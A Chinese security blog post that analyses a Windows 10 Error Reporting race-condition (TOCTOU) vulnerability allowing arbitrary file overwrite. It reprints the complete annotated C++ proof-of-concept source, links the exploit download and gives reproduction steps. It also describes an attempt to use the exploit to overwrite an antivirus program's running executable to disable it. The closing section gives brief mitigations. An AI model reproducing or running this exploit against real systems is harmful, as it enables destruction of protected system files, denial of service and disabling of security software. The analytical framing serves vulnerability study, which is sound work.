漏洞名称
windows任意文件覆盖。
漏洞介绍
安全研究员SandboxEscaper披露Windows操作系统中第四个0-day漏洞的漏洞利用代码,利用该漏洞可以覆盖任意Windows10文件,包括通常无法访问的基本文件,例如SandboxEscaper在POC中给出的pci.sys文件,直接造成系统拒绝服务,当然可以用此方法来关闭第三方杀软,原文如下:
其漏洞发生模块为WER(Windows error report),WER是一个灵活的基于事件的反馈基础架构,用户收集硬件和软件发生问题时进行异常回收,然后发送给Microsoft,并给用户提示合适的异常解决方法。
当发生异常时,首先需要使用一系列参数描述该异常,例如应用名字、应用版本、模块名字、模块版本、错误代码等,然后根据这个异常描述,WER模块便通常查询WER服务器给用户返回一个异常修复方法,假如WER服务器上存在该描述的异常,则直接返回解决方案然后通过WER显示给用户,假如WER服务器上没有改描述的异常,则返回一个状态码,通过WER显示并询问用户是否将当前错误发送给微软用于以后研究。
漏洞本质
Time of Check Versus Time of Use(TOCTOU),原理参考https://www.freebuf.com/vuls/192876.html。
漏洞利用基础环境
原文中描述该漏洞成功利用限制较多,最少要满足以下三个要求,但经过测试,其必须连接网络要求可以并不需要,实际限制条件只有下面两个:
1.系统版本必须为windows10(其他版本win7、win2008、win2012经测试均无法复现利用),
2.非单个CPU(单CPU多内核也是不满足条件的)
再没有网络连接的时候,在win10上是可以成功复现的,只是会在C:\ProgramData\Microsoft\Windows\WER\ReportQueue路径下留下了\1_1_1_1_1\Report.wer文件,即表示该文文件未成功发送给wer服务器:
POC验证与利用
1.下载https://github.com/SandboxEscaper/randomrepo/blob/master/angrypolarbearbug.rarPOC文件。
2.桌面新建test.txt,随意输入内容:
3.确保Report.wer和AngryPolarBearBug.exe在同一目录,运行POC文件。
4.被覆盖后的test.txt文件如下:
POC原理分析
任意文件覆盖利用成功主要在于主程序中runme(自己创建的线程,在该线程中使用硬链接方式覆盖目标文件)与system(使用计划任务给wer服务器发送异常报告)这两个线程函数存在时间竞争,关于具体实现过程可参考下面源码注释:
#include <iostream> #include "stdafx.h" #include <stdio.h> #include <tchar.h> #include <Windows.h> #include <strsafe.h> const char* targetfile;//定义一个指向需要被覆盖的文件的指针 bool CreateNativeHardlink(LPCWSTR linkname, LPCWSTR targetname);//CreateNativeHardlink声明,用于创建一个硬链接 std::wstring s2ws(const std::string& str)//将多字节编码转换成宽字节编码 { int size_needed = MultiByteToWideChar(CP_UTF8, 0, &str[0], (int)str.size(), NULL, 0);//获取需要的缓冲区大小,类型为int型 std::wstring wstrTo(size_needed, 0);//申请空间时,将缓冲区大小按字符计算 MultiByteToWideChar(CP_UTF8, 0, &str[0], (int)str.size(), &wstrTo[0], size_needed); return wstrTo;
} DWORD WINAPI MyThreadFunction(LPVOID lpParam)//定义自己的线程函数 {
LPCWSTR filename1;//LPCWSTR指向unicode编码字符串的32位指针 LPCWSTR root = L"C:\\ProgramData\\Microsoft\\Windows\\WER\\Temp\\";
HANDLE hDir = CreateFile(L"C:\\ProgramData\\Microsoft\\Windows\\WER\\Temp",FILE_LIST_DIRECTORY,FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE,NULL,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,NULL);
FILE_NOTIFY_INFORMATION strFileNotifyInfo[1024];//FILE_NOTIFY_INFORMATION定义一个文件通知结构体 DWORD dwBytesReturned = 0; std::wstring extension = L".xml"; std::string targetf(targetfile); std::wstring targetfw = s2ws(targetf); bool blah = false; const wchar_t* targetfww = targetfw.c_str();//targetfww为最终转换后的指向需要被覆盖的文件的指针 while (TRUE)
{
ReadDirectoryChangesW(hDir, (LPVOID)&strFileNotifyInfo, sizeof(strFileNotifyInfo), TRUE, FILE_NOTIFY_CHANGE_FILE_NAME, &dwBytesReturned, NULL, NULL);//监控到hDir指向的目录下是否有文件发生改变 filename1 = strFileNotifyInfo[0].FileName;//获取变化的文件名 std::wstring df = std::wstring(root) + filename1;//构造变化的文件的绝对路径 std::wstring::size_type found = df.find(extension);//判断该文件后缀是否为xml if (found != std::wstring::npos)//匹配到了后缀为xml的文件 {
LPCWSTR dfc = df.c_str();//指向该变化文件的绝对路径 do {
blah = CreateNativeHardlink(dfc,targetfww);//创建一个硬链接,当dfc文件变化时,targetfww文件(需要被覆盖的文件)也会跟着变化 } while (blah == false);//成功返回1,跳出创建线程的循环 return 0;
}
} return 0;
}//那么我们现在只需要创造出一个异常,并保存到C:\\ProgramData\\Microsoft\\Windows\\WER\\Temp目录下,调用该函数时便会成功执行,即覆盖我们的目标文件 void runme() { //创建一个线程 HANDLE mThread = CreateThread(NULL, 0, MyThreadFunction, NULL, 0, NULL);//线程安全属性、堆栈大小、线程函数、线程参数、线程创建属性、线程ID } int main(int argc, const char * argv[]) { if (argc < 2) { //判断输入的参数格式是否正确 std::cout << std::endl << "Please include a filepath as first parameter"; return 0;
}
DWORD dwFileSize = 0;
DWORD dwFileSize2 = 0;
targetfile = argv[1];//指向获取需要被覆盖的目标文件绝对路径 HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);//打开需要被覆盖的目标文件 if (hFile == INVALID_HANDLE_VALUE)//打开需要被覆盖的目标文件句柄时发生异常了 { std::cout << std::endl << "I do not have read permissions for this file or file does not exist"; return 0;
}
dwFileSize = GetFileSize(hFile, NULL);//先获取需要被覆盖的目标文件的大小,用于下面判断该文件是否已经被覆盖 dwFileSize2 = dwFileSize;
CloseHandle(hFile);//关闭目标文件句柄 std::cout << std::endl << "/////////////////////////////////////////////////////////" << std::endl << "//抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖?/" << std::endl << "//抖抖抖抖抖抖ЁЁЁЁ抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖?/" << std::endl << "//抖抖抖抖?``````````````11Ё抖抖抖抖抖抖抖抖抖抖抖抖?/" << std::endl << "//抖抖抖1````````````````````````1Ё抖抖抖抖抖抖抖抖抖?/" << std::endl << "//抖抖``````````````````````````````Ё抖抖抖抖抖抖抖?/" << std::endl << "//抖锭```````````````````````````````````1Ф抖抖抖抖抖?/" << std::endl << "//抖``````````````````````````````````````1Ф抖抖抖抖//" << std::endl << "//抖``````````BIPOLAR BEAR`````````````````````1Ф抖抖?/" << std::endl << "//?`1`````````````````````````````````````````1`1抖抖?/" << std::endl << "//锭抖```````````````````````````````````````````1Ф?/" << std::endl << "//抖禶Ё```````````````````````````````````````````Ф抖//" << std::endl << "//抖1``1```````````````````````111Ё抖抖抖ЁФ抖抖抖?/" << std::endl << "//抖````1````````````````````1Ё抖抖抖抖抖抖抖抖抖抖?/" << std::endl << "//锭`````````````11`````````Ё``1抖抖抖抖抖抖抖抖抖抖//" << std::endl << "//禶`````1抖```````抖抖1`````?````抖抖抖抖抖抖抖抖抖抖//" << std::endl << "//禶````Ф抖?`````抖抖```抖1````1抖抖抖抖抖抖抖抖抖?/" << std::endl << "//```Ф抖抖禶```1抖抖```抖禶````抖抖抖抖抖抖抖抖抖?/" << std::endl << "//禶```Ф抖抖禶```1抖抖```抖抖````1抖抖抖抖抖抖抖抖抖//" << std::endl << "//抖111`11抖抖1``````1抖```1Ф?````11抖抖抖抖抖抖抖?/" << std::endl << "//抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖?/" << std::endl << "/////////////////////////////////////////////////////////" << std::endl; std::cout << std::endl << "---------------------------------BIPOLAR BEAR SALUTES YOU------------------------------------------------------------" << std::endl;
Sleep(2000); do {
CreateDirectoryW(L"c:\\programdata\\microsoft\\windows\\wer\\reportqueue\\1_1_1_1_1", NULL);//再c:\\programdata\\microsoft\\windows\\wer\\reportqueue\\下创建1_1_1_1_1子目录 CopyFileW(L"Report.wer", L"c:\\programdata\\microsoft\\windows\\wer\\reportqueue\\1_1_1_1_1\\Report.wer", true);//复制当前目录下Report.wer文件到上面创建子目录中,即将该Report.wer异常包加入异常报告队列 runme();//在发送异常报告时,会在C:\\ProgramData\\Microsoft\\Windows\\WER\\Temp,目录下产出一个临时文件Report.wer,此时便会被我们自己创建的线程捕获,在线程中替换了目标文件 system("SCHTASKS /Run /Tn \"Microsoft\\Windows\\Windows Error Reporting\\QueueReporting\"");//通过system函数调用计划任务运行WER,模拟系统发送给wer服务器发送异常,故该漏洞利用条件之一需要连接网络 HANDLE hFile2 = CreateFileA(argv[1], GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);//重新获取目标文件句柄 if (hFile2 != INVALID_HANDLE_VALUE)//判断当前文件大小与上一次的文件大小是否相等,假如相等便成功替换 {
dwFileSize2 = GetFileSize(hFile2, NULL);
}
CloseHandle(hFile2);
} while (dwFileSize == dwFileSize2); std::cout << std::endl << "---------------------------------DATA IN FILE SUCCESSFULLY DESTROYED - Press key to exit------------------------------";
getchar();//退出主进程 }
针对于作者原文中提到利用该漏洞可能绕过第三方杀软,我做了如下测试,测试对象为腾讯的电脑管家,尝试覆盖电脑管家运行时的关键文件以达到关闭杀软的效果。
首先打开任务管理器找到电脑关键的核心服务的QQPCMgr RTP Service ,然后再通过services.msc找到该服务,右击属性找到该服务程序的路径,”C:\Program Files (x86)\Tencent\QQPCMgr\13.0.19838.236\QQPCRTP.exe” ,那么我们把该文件覆盖掉是不是就可以关闭电脑管家,操作如下:
尝试覆盖QQPCRTP.exe文件,提示I do not have read permissions for this file or file does not exist,发现我们并不能覆盖该文件,导致该错误是由于,POC中是直接通过CreateFile的方式来获取目标文件句柄的,由于该文件处于正在运行状态,导致获取句柄失败,即关闭杀软失败,无法利用该漏洞去覆盖正在运行的程序。
漏洞修复
1.经验证该漏洞只适用于win10系统版本,截至目前,微软官方并未发布补丁,由于该漏洞环境为本地,不可以远程触发,为防止攻击者对该漏洞进行利用,用户不要下载与运行来源不明的软件。
2.通过services.msc临时关闭Windows Error Reporting Service。
参考
https://github.com/SandboxEscaper/randomrepo/blob/master/angrypolarbearbug.rar
https://docs.microsoft.com/en-us/windows/desktop/wer/about-wer
https://docs.microsoft.com/zh-cn/windows/desktop/FileIO/hard-links-and-junctions
猜你还喜欢
- 06-09深入理解JAVA反序列化漏洞
- 08-12cmseasy前台无需登录直接获取敏感数据的SQL注入(有POC证明)
- 11-28CVE-2017-11882漏洞复现和利用
- 11-10利用Thinkphp 5缓存漏洞实现前台Getshell
- 08-04php安全代码审计小结
- 01-02PHPCMS后台”空降”管理员CSRF漏洞分析
- 01-02某CMS注入分析及注入点总结
- 11-30PHP 函数漏洞总结
- 11-30PHP渗透中的奇淫技巧--检查相等时的漏洞
- 11-15某开源框架从注入到Getshell
- 最新文章
- 随机文章
-
- 浅谈MSF渗透测试
- Ogg音频格式文件的样本构造(CVE-2018-5146)
- 利用CobaltStrike捆绑后门的艺术
- 论Nmap中一些常用的NSE脚本
- Project-Black:渗透中进行Scope控制或扫描和进度追踪的工具
- web.config文件上传技术研究
- 使用Google进行批量SQL注入扫描
- Findomain:一款基于透明日志来搜索子域名的跨平台工具
- 挖洞经验 | 绕过WAF限制利用php:方法实现OOB-XXE漏洞利用
- 用Golang打造一款便携式网络拓扑可视化的工具
- 漏洞扫描技巧之Web漏洞扫描器研究
- HTTP被动扫描代理的那些事
- 针对MySQL数据库的勒索病毒预警
- Google.org点击劫持DOM XSS
- 记一次QQ本地快捷登录漏洞复现
- 当SQL注入遇到诡异的编码问题
- WordPress插件中的XSS漏洞的复现分析与利用
- phpStudy后门简要分析
- 域渗透总结
- metinfo 6.2.0正则匹配不严谨导致注入+getshell组合拳
- 热门文章
-
- 八年专业安全团队承接渗透入侵维护服务
- Emlog黑客站模板“Milw0rm”发布
- Stuxnet纪录片-零日 Zero.Days (2016)【中文字幕】
- SQLMAP的注入命令以及使用方法
- 白帽故事汇:网络安全战士从来不是「男生」的专利
- 编辑器漏洞手册
- web安全之如何全面发现系统后台
- 常见Web源码泄露总结
- 深入理解JAVA反序列化漏洞
- cmseasy前台无需登录直接获取敏感数据的SQL注入(有POC证明)
- 网站后台登陆万能密码
- 黑麒麟2016渗透培训系列教程
- 破解emlog收费模板“Begin”
- 那些强悍的PHP一句话后门
- Android平台渗透测试套件zANTI v2.5发布(含详细说明)
- 渗透工具BackTrack与KaliLinux全套视频教程
- Python列为黑客应该学的四种编程语言之一 初学者该怎么学
- CVE-2017-11882漏洞复现和利用
- 恶意程序报告在线查询工具
- 利用Thinkphp 5缓存漏洞实现前台Getshell
- 文章标签
-